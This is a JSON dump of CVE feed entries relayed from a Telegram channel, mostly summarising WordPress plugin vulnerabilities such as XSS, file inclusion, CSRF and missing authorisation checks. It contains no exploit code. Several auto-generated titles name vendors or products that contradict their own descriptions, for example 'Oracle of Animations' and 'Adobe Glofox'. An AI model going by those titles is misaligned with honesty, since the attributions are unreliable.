vulnerabilities may enable brute-force attacks to guess valid credentials or MD5 collision attacks to forge authentication hashes, potentially compromising the security of the device. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T11:45:48.000000Z"}, {"uuid": "ac548918-9cc2-4c48-a363-9d293f92b1ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12240", "type": "seen", "source": "https://t.me/cvedetector/15247", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12240 - SiteOrigin Page Builder Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12240 \nPublished : Jan. 14, 2025, 11:15 a.m. | 39\u00a0minutes ago \nDescription : The Page Builder by SiteOrigin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the row label parameter in all versions up to, and including, 2.31.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T13:09:11.000000Z"}, {"uuid": "3717794d-ee10-43df-a28d-c03d62617a15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12859", "type": "seen", "source": "https://t.me/cvedetector/17118", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12859 - BoomBox Theme Extensions WordPress Local File Inclusion\u0446\u0430\u043c\u0438 Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12859 \nPublished : Feb. 3, 2025, 8:15 p.m. | 22\u00a0minutes ago \nDescription : The BoomBox Theme Extensions plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.8.0 via the 'boombox_listing' shortcode 'type' attribute. This makes it possible for authenticated attackers, with contributor-level and above permissions, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where php file type can be uploaded and included. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-03T22:00:20.000000Z"}, {"uuid": "e1869448-5f07-4e8e-b667-38424e2f30b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12171", "type": "seen", "source": "https://t.me/cvedetector/17004", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12171 - ELEX WordPress HelpDesk Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12171 \nPublished : Feb. 1, 2025, 4:15 a.m. | 2\u00a0hours, 21\u00a0minutes ago \nDescription : The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to privilege escalation due to a missing capability check on the 'eh_crm_agent_add_user' AJAX action in all versions up to, and including, 3.2.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create new administrative user accounts. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-01T08:07:34.000000Z"}, {"uuid": "94a97053-137f-48ed-9d02-c262eaaef6c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12620", "type": "seen", "source": "https://t.me/cvedetector/17001", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12620 - Oracle of Animations Unauthorized Data Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12620 \nPublished : Feb. 1, 2025, 4:15 a.m. | 2\u00a0hours, 21\u00a0minutes ago \nDescription : The AnimateGL Animations for WordPress \u2013 Elementor & Gutenberg Blocks Animations plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'agl_json' AJAX action in all versions up to, and including, 1.4.23. This makes it possible for unauthenticated attackers to update the plugin's settings. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-01T08:07:29.000000Z"}, {"uuid": "3540e7ce-dab9-4b36-81b9-dfa50dcdea3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12184", "type": "seen", "source": "https://t.me/cvedetector/17000", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12184 - Cimatti WordPress Contact Forms Remote File Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12184 \nPublished : Feb. 1, 2025, 4:15 a.m. | 2\u00a0hours, 21\u00a0minutes ago \nDescription : The WordPress Contact Forms by Cimatti plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the accua_forms_download_submitted_file() function in all versions up to, and including, 1.9.4. This makes it possible for unauthenticated attackers to download other user submitted forms. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-01T08:07:28.000000Z"}, {"uuid": "8b4ba4d5-2484-47e3-bc31-1dc380143da2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "Telegram/N4LAoa0eCXSp1NarIiUkOrZo3F55hEMVHqAyE620STfhf8JP", "content": "", "creation_timestamp": "2025-02-18T23:42:23.000000Z"}, {"uuid": "24f8caa7-2056-4234-9578-d2e4824e965d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12551", "type": "seen", "source": "Telegram/wLCXMWztOwOpxZshQNgOfhSPHkJjz69RIF0MFtE9HHVh5M8j", "content": "", "creation_timestamp": "2025-02-18T23:42:23.000000Z"}, {"uuid": "aa43d433-160c-4989-808e-faab566b5e20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12768", "type": "seen", "source": "https://t.me/cvedetector/16993", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12768 - WordPress Responsive Iframe Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12768 \nPublished : Feb. 1, 2025, 6:15 a.m. | 21\u00a0minutes ago \nDescription : The Responsive iframe WordPress plugin through 1.2.0 does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-01T08:07:17.000000Z"}, {"uuid": "9c43474f-4b86-4606-bc90-535a8ac350a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12825", "type": "seen", "source": "https://t.me/cvedetector/17012", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12825 - Custom Related Posts Plugin for WordPress Unauthorized Access & Data Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12825 \nPublished : Feb. 1, 2025, 8:15 a.m. | 23\u00a0minutes ago \nDescription : The Custom Related Posts plugin for WordPress is vulnerable to unauthorized access & modification of data due to a missing capability check on three AJAX actions in all versions up to, and including, 1.7.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to search posts and link/unlink relations. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-01T09:47:57.000000Z"}, {"uuid": "2c9aad92-5900-41f4-9c38-fdd25287afb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12041", "type": "seen", "source": "https://t.me/cvedetector/16996", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12041 - Directorist WordPress Business Directory Plugin Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12041 \nPublished : Feb. 1, 2025, 6:15 a.m. | 21\u00a0minutes ago \nDescription : The Directorist: AI-Powered WordPress Business Directory Plugin with Classified Ads Listings plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 8.0.12 via the /wp-json/directorist/v1/users/ endpoint. This makes it possible for unauthenticated attackers to extract sensitive data including including usernames, email addresses, names, and more information about users. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-01T08:07:22.000000Z"}, {"uuid": "a4c7706e-9b1d-447b-b640-7d644c101afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12104", "type": "seen", "source": "https://t.me/cvedetector/15913", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12104 - Atarim Visual Website Collaboration Unauthenticated File Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12104 \nPublished : Jan. 21, 2025, 10:15 a.m. | 38\u00a0minutes ago \nDescription : The Visual Website Collaboration, Feedback & Project Management \u2013 Atarim plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the wpf_delete_file and wpf_delete_file functions in all versions up to, and including, 4.0.9. This makes it possible for unauthenticated attackers to delete project pages and files. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-21T11:56:28.000000Z"}, {"uuid": "7c812632-0caa-4e85-b328-668c9698e42f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12005", "type": "seen", "source": "https://t.me/cvedetector/15912", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12005 - \"WordPress WP-BibTeX CSRF\"\", \n  \"Content\": \"CVE ID : CVE-2024-12005 \nPublished : Jan. 21, 2025, 10:15 a.m. | 38\u00a0minutes ago \nDescription : The WP-BibTeX plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.0.1. This is due to missing or incorrect nonce validation on the wp_bibtex_option_page() function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-21T11:56:27.000000Z"}, {"uuid": "30d77824-4bf4-45f8-a5dc-5c6af7a0e73c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12696", "type": "seen", "source": "https://t.me/cvedetector/15790", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12696 - WordPress Picture Gallery Frontend Image Uploads AJAX Photo List Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12696 \nPublished : Jan. 18, 2025, 7:15 a.m. | 18\u00a0minutes ago \nDescription : The Picture Gallery \u2013 Frontend Image Uploads, AJAX Photo List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's videowhisper_picture_upload_guest shortcode in all versions up to, and including, 1.5.22 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-18T08:42:30.000000Z"}, {"uuid": "7cdf54b5-c3a0-4f77-bee9-dce7c3365322", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12385", "type": "seen", "source": "https://t.me/cvedetector/15796", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12385 - \"WordPress WP Abstracts CSRF Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12385 \nPublished : Jan. 18, 2025, 7:15 a.m. | 18\u00a0minutes ago \nDescription : The WP Abstracts plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.7.2. This is due to missing nonce validation on the wpabstracts_load_status() and wpabstracts_delete_abstracts() functions. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-18T08:42:38.000000Z"}, {"uuid": "7122498d-b6d7-4075-8d55-54ac58c6a536", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12703", "type": "seen", "source": "https://t.me/cvedetector/15701", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12703 - Autodesk AutoCAD Deserialization Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12703 \nPublished : Jan. 17, 2025, 11:15 a.m. | 19\u00a0minutes ago \nDescription : CWE-502: Deserialization of untrusted data vulnerability exists that could lead to loss of confidentiality, integrity  \nand potential remote code execution on workstation when a non-admin authenticated user opens a malicious  \nproject file. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T12:36:39.000000Z"}, {"uuid": "dc12d230-4c27-4eea-abdb-dd7b6972b074", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://t.me/cvedetector/15700", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12142 - Apache HTTP Server Information Disclosure and Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12142 \nPublished : Jan. 17, 2025, 11:15 a.m. | 19\u00a0minutes ago \nDescription : CWE-200: Exposure of Sensitive Information to an Unauthorized Actor vulnerability exists that could  \ncause information disclosure of restricted web page, modification of web page and denial of  \nservice when specific web pages are modified and restricted functions are invoked. \nSeverity: 8.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T12:36:38.000000Z"}, {"uuid": "5d545d10-19e6-46ec-aaaf-41941174f814", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12399", "type": "seen", "source": "https://t.me/cvedetector/15698", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12399 - \"Rockwell Automations HMI Untrusted Transmission Integrity Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12399 \nPublished : Jan. 17, 2025, 10:15 a.m. | 22\u00a0minutes ago \nDescription : CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel vulnerability  \nexists that could cause partial loss of confidentiality, loss of integrity and availability of the HMI when attacker performs  \nman in the middle attack by intercepting the communication. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T11:46:29.000000Z"}, {"uuid": "ad809e61-e504-4a0f-a41a-a6d5cef86f98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12071", "type": "seen", "source": "https://t.me/cvedetector/15778", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12071 - WordPress Evergreen Content Poster - Unauthenticated Remote Data Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12071 \nPublished : Jan. 18, 2025, 4:15 a.m. | 40\u00a0minutes ago \nDescription : The Evergreen Content Poster \u2013 Auto Post and Schedule Your Best Content to Social Media plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the delete_network_post() function in all versions up to, and including, 1.4.4. This makes it possible for unauthenticated attackers to delete arbitrary posts and pages. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-18T06:11:55.000000Z"}, {"uuid": "d1afcdc9-c84d-4e46-9659-0545725216c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://t.me/cvedetector/15722", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12757 - Nedap Librix Ecoreader Authenticated Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12757 \nPublished : Jan. 17, 2025, 6:15 p.m. | 43\u00a0minutes ago \nDescription : Nedap Librix Ecoreader   \n is missing authentication for critical functions that could allow an   \nunauthenticated attacker to potentially execute malicious code. \nSeverity: 8.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T20:08:22.000000Z"}, {"uuid": "d298d317-51b1-4944-8039-6fce1b68e580", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12370", "type": "seen", "source": "https://t.me/cvedetector/15693", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12370 - WordPress Hotel Booking Unauthorized Data Modification Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-12370 \nPublished : Jan. 17, 2025, 9:15 a.m. | 40\u00a0minutes ago \nDescription : The WP Hotel Booking plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check when adding rooms in all versions up to, and including, 2.1.5. This makes it possible for unauthenticated attackers to add rooms with custom prices. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T10:56:17.000000Z"}, {"uuid": "d2defda2-126f-4ee7-ab5d-10dd305a8cd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12476", "type": "seen", "source": "https://t.me/cvedetector/15695", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12476 - Adobe Web Designer XXE Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12476 \nPublished : Jan. 17, 2025, 10:15 a.m. | 22\u00a0minutes ago \nDescription : CWE-611: Improper Restriction of XML External Entity Reference vulnerability exists that could  \ncause information disclosure, impacts workstation integrity and potential remote code execution on the  \ncompromised computer, when specific crafted XML file is imported in the Web Designer configuration tool. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T11:46:27.000000Z"}, {"uuid": "27f66dc7-18df-4713-acdf-8ac74ea84522", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12203", "type": "seen", "source": "https://t.me/cvedetector/15691", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12203 - \"WordPress RSS Icon Widget Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12203 \nPublished : Jan. 17, 2025, 7:15 a.m. | 42\u00a0minutes ago \nDescription : The RSS Icon Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018link_color\u2019 parameter in all versions up to, and including, 5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T09:16:02.000000Z"}, {"uuid": "de16111d-f16a-4230-ae16-1ce1ebed2f0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12637", "type": "seen", "source": "https://t.me/cvedetector/15689", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12637 - WordPress Moving Users Sensitive Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12637 \nPublished : Jan. 17, 2025, 7:15 a.m. | 42\u00a0minutes ago \nDescription : The Moving Users plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.05 via the export functionality. The JSON files are stored in predictable locations with guessable file names when exporting user data. This could allow unauthenticated attackers to extract sensitive user data, for instance, email addresses, hashed passwords, and IP addresses. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T09:16:01.000000Z"}, {"uuid": "557c62d4-3928-4366-b4b4-9150f17acf85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12598", "type": "seen", "source": "https://t.me/cvedetector/15688", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12598 - MyBookProgress by Stormhill Media WordPress Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12598 \nPublished : Jan. 17, 2025, 7:15 a.m. | 42\u00a0minutes ago \nDescription : The MyBookProgress by Stormhill Media plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018book\u2019 parameter in all versions up to, and including, 1.0.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T09:15:57.000000Z"}, {"uuid": "9ba08e6d-9a11-4bfc-a84d-573c3ae1bb5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12508", "type": "seen", "source": "https://t.me/cvedetector/15687", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12508 - Adobe Glofox WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12508 \nPublished : Jan. 17, 2025, 7:15 a.m. | 42\u00a0minutes ago \nDescription : The Glofox Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'glofox' and 'glofox_lead_capture ' shortcodes in all versions up to, and including, 2.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T09:15:57.000000Z"}, {"uuid": "99f6e581-cb42-4842-b585-6065c2cd6e02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12466", "type": "seen", "source": "https://t.me/cvedetector/15686", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12466 - WordPress Proofreading Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12466 \nPublished : Jan. 17, 2025, 7:15 a.m. | 42\u00a0minutes ago \nDescription : The Proofreading plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'nonce' parameter in all versions up to, and including, 1.2.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T09:15:56.000000Z"}, {"uuid": "13ecf6b8-80c5-4a2a-a116-ba1416f4db9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12613", "type": "seen", "source": "https://t.me/cvedetector/15579", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12613 - \"WordPress Passwords Manager SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12613 \nPublished : Jan. 16, 2025, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Passwords Manager plugin for WordPress is vulnerable to SQL Injection via the $wpdb->prefix value in several AJAX fuctions in all versions up to, and including, 1.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient 